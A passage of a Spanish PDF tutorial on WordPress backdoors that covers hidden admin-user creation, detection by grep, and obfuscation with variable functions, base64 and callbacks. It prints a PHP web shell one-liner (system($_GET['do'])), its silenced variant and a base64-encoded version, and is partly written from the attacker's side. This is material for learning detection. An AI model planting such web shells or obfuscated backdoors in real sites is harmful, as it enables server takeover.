PDF de programación - Introducción a backdoors en WordPress

DOCS

Introducción a

BACKDOORS EN WORDPRESS

ÍNDICE

1. Introducción. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2. Clásicos de WordPress: crear usuario admin. . . . . . . . . . . . . .
3. Los 4 Jinetes del Apocalipsis: system, exec, passthru y eval. . .
4. Ofuscación básica. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5. Funciones con callbacks: dude, where is my backdoor?. . . . .
6. Preg_replace y el modi(cid:31)cador /e. . . . . . . . . . . . . . . . . . . . . . .
7. JavaScript: infectando las bases de datos. . . . . . . . . . . . . . . . .

3
4 a 6
7 a 8
9 a 10
11 a 12
13 a 14
15 a 17

DOCS

Introducción

Los backdoors pueden adoptar in(cid:31)nidad de formas, desde una
simple y obvia línea:

Los backdoors (“puertas traseras”) son porciones de código que
permiten el acceso y control de un sistema a un usuario no auto-
rizado. En el caso de un CMS como WordPress es común
encontrarlos en plugins y themes que se han descargado desde
sitios no o(cid:31)ciales y, también, en un sistema después de haber
sufrido una intrusión.

En el escenario post-intrusión los backdoors tienen como objeti-
vo la permanencia en el tiempo del acceso por parte del atacante,
de tal suerte que si se corta la vía por la cual ha penetrado inicial-
mente (por ejemplo desactivando un plugin vulnerable) éste
pueda seguir controlando el sistema. Sin embargo, el objetivo de
colocar backdoors en plugins y themes es la de proveer un acceso
al atacante a todos aquellos sitios que los hayan instalado , permi-
tiendo a éste adoptar un rol pasivo a la espera de que se vayan
autoinfectando.

Hasta un conglomerado ininteligible de símbolos no alfanuméri-
cos:

El objetivo de este texto es explicar brevemente las técnicas más
comunes utilizadas en la creación y ocultación de backdoors en la
plataforma WordPress. Hay que tener en cuenta que en el entor-
no real nunca se usa solamente un método de ocultación u ofus-
cación si no que lo habitual es encontrar una combinación de
varios para di(cid:31)cultar la tarea de identi(cid:31)cación y/o eliminación.

3

DOCS

Clásicos de WordPress:
crear usuario admin

Un backdoor clásico que encontramos muy extendido en los
themes y plugins descargados de sitios no o(cid:31)ciales es aquel que
permite, al enviar una petición determianda por el atacante, crear
un usuario con rol de administrador dentro del WordPress infec-
tado. Para alcanzar tal (cid:31)n el backdoor utiliza las funciones de
creación de usuarios que trae implementadas el propio
WordPress.

De esta forma, utilizando la función wp_create_user() para crear
el usuario y set_role() para elevar los permisos a administrador,
podremos generar un usuario de password conocida con acceso a
la administración del WordPress:

4

DOCS

Si incluimos este backdoor en un archivo PHP, como un theme
o un plugin, y accedemos a él pasándole el parámetro ?back-
door=0wned podremos observar cómo se ha creado un nuevo
usuario de nick “X-C3LL” y con rol de administrador:

5

DOCS

Como podemos observar, haciendo un simple grep hemos
encontrado un set_role() en un archivo donde no debería estar,
un .php dentro de un theme. Se trata por tanto de una inciden-
cia sospechosa, que pasamos a con(cid:31)rmar:

El método de invocación para que se ejecute nuestro payload en
vez de ser por GET puede sustituirse por otras vías que levanten
menos sospechas en los logs, como comprobar un determinado
valor en una cookie, o esperar una determinada secuencia en el
header user-agent o referer.

De esta forma tan sencilla con un trozo de código que podría
pasar desapercibido en mitad de un plugin o theme cualquiera
podemos ser susceptibles de sufrir un secuestro de nuestro Wor-
dPress. Sin embargo, al emplearse funciones poco comunes,
como lo es set_role(), para obtener la elevación de privilegios
podemos utilizarlas a modo de (cid:31)rmas para tracear un posible bac-
kdoor:

Normalmente los backdoors se encuentran ofuscados para di(cid:31)-
cultar la detección, tal y como veremos más adelante.

6

DOCS

Los 4 Jinetes del
Apocalipsis: system,
exec, passthru y eval.

Por regla general lo que nos encontramos es que los backdoors no
se ciñen a un aspecto tan concreto como el que hemos visto
antes, si no que mantienen abierta la posibilidad de ejecutar
acciones diversas. Es por ello que recurren a la utilización de
system, eval, fopen o exec para interaccionar con el sistema com-
prometido.

Las 3 primeras funciones ejercen una acción prácticamente simi-
lar, permitiendo la ejecución de comandos y programas externos.
En la práctica poseer un <?php system($_GET['do']); ?> equival-
dría a tener acceso directo a un terminal en el servidor. Es por
ello que normalmente estas funciones se encuentran bloqueadas
desde la con(cid:31)guración de PHP, en caso contrario, si Safe_Mode
se encuentra activo van a estar restringidas y únicamente van a
poder ejecutarse en aquellos scripts alojados en la ruta asignada
en safe_mode_exec_dir.

En el día a día no es raro encontrar servidores con Safe_Mode
desactivado o que utilizan versiones de PHP que permiten reali-
zar un bypass de estras restricciones a través de exploits.

Como podemos ver en la siguiente imagen con estas funciones
podemos ejecutar comandos como si de un terminal se tratase,
permitiendo al intruso actuar a placer:

Para mantener el mínimo tamaño y evitar la visualización del
error que provoca el no pasarle el parámetro GET establecido (en
el ejemplo aquí puesto “do”) podemos añadir un “@” delante de
la función, quedando el backdoor como <?php @system($_GE-
T['do']); ?> .

7

DOCS

La función eval() nos va a permitir evaluar una cadena como
código PHP, de tal forma que disponemos de la ejecución arbitra-
ria de código. Como ventajas claras presenta que es poco común
que se encuentre bloqueada, ya que por defecto aun con Safe_-
Mode activo ésta no es afectada. Es por lo tanto la función más
empleada por los backdoors (ya que dentro de él podemos ejecu-
tar las 3 funciones mencionadas anteriormente además de las
funciones propias de PHP).

Existen otras funciones propias de PHP que pueden llegar a ser
implementadas en los backdoors, como proc_open, popen, etc.
pero que su uso está menos extendido.

8

DOCS

Ofuscación básica

Cabría pensar que la detección de backdoors podría reducirse a
buscar en los archivos de WordPress las funciones comentadas en
la sección anterior, tal y como hicimos cuando hemos empleado
grep para localizar el backdoor que creaba un nuevo usuario con
rol de administrador. Los backdoors como regla general suelen
estar ofuscados utilizando fórmulas que pueden ser tan simples
como usar funciones de cifrado simétrico (rot13, por ejemplo)
hasta métodos mucho más complejos aprovechando las particu-
laridades de PHP (véase el backdoor mostrado en la sección de
introducción). Existen una serie de técnicas que, por comodidad,
suelen adoptarse, pero a la hora de generar nuestro propio back-
door la ofuscación que vayamos a emplear depende únicamente
de nuestra imaginación.



Tal y como hemos dicho, sería demasiado obvio el dejar a golpe
de grep una cadena como “system(“. Es por ello que el primer
método que vamos a ver para poder evadir la detección es el uso
de una característica del propio PHP, las llamadas funciones
variables.

En PHP cuando tenemos una variable seguida de unos paréntesis
ésta es interpetada como una llamada a una función del mismo
nombre, de tal forma que se evaluará lo contenido en ella. Es
decir, que si tenemos $func = wordpressa y un $func() en nuestro
código, PHP buscará la función cuyo nombre coincida con el
valor de $func y la ejecutará. Ejemplo:

<?php
function foo($string){
echo “$string deberia de ser mostrado”;}
$go = foo;
$go(“Esto”); ?>

9

DOCS

Aprovechando esto podemos ocultar la cadena system de mil y
una formas, por ejemplo:

De igual modo podríamos ofuscar cualquier otra función que
necesitasemos en nuestro backdoor, a excepción de algunas con-
cretas como eval (por suerte sigue sirviendo como (cid:31)rma).
Aunque podemos usar fopen() para crear un .php que contenga
el eval, y borrarlo cuando no sea necesario, de tal forma que no se
pueda detectar (es decir, que en ese PHP creamos la palabra
“eval”).

Una vez comprendido cómo funcionan las funciones variables,
podemos continuar avanzando.

El siguiente escalón en la ofuscación es el empleo de las funciones
de cadenas (base64_encode, str_rot13, etc.) que van a permitir
añadir una primera capa de ocultación al payload que posea el
backdoor. Sin duda la codi(cid:31)cación en base64 es de lejos el
método más utilizado, aunque no es raro que aparezca acompa-
ñado de otras funciones. Un ejemplo utilizando base64 para
ocultar un payload, en este caso la función system:

La cadena c3lzdGVtKCRfR0VUWydkbyddKTs= es el resultado
de codi(cid:31)car en base64 “system(\$_GET['do']);” (añadimos un \
para poder escapar el símbolo $ de la variable).

10

DOCS

En PHP existe una serie de funciones “normales” que permiten
en su uso enviar los datos que manejan a otras funciones, y recibir
el valor resultante. Por ejemplo, la función array_(cid:31)lter(), si mira-
mos su documentación:

arrayarray_filter(array$array[,ca-
llable$callback] )

Recorre cada valor dearraypasándolos a la funcióncallback. Si la
función callback devuelve true, el valor actual desde array es
devuelto dentro del array resultante. Las claves del array se con-
servan.

Funciones con
callbacks: dude,
where is the back-
door?

Viendo el aspecto de los primeros backdoors que estamos obser-
vando podemos caer en el error de pensar que se trata de porcio-
nes de código fácilmente detectables ven tanto que poseen cade-
nas de texto “extrañas” (por la o